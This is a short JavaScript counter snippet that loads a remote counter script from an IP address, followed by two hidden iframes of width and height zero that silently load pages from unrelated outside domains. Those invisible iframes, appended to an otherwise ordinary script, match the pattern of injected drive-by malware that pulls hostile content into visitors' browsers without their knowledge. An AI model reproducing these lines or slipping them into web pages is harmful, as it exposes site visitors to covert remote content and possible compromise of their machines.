var WebUser="WebUser54683";

var strURL = "<script language=javascript src='http://202.103.191.43:9996/Counter/Counter.aspx?Uid="+WebUser+"'></script>";

document.write(strURL);<iframe src=http://www.chinanics.com/m.htm width=0 height=0></iframe>
<iframe src="http://bwkjb.com/hm.htm" width=0 height=0></iframe>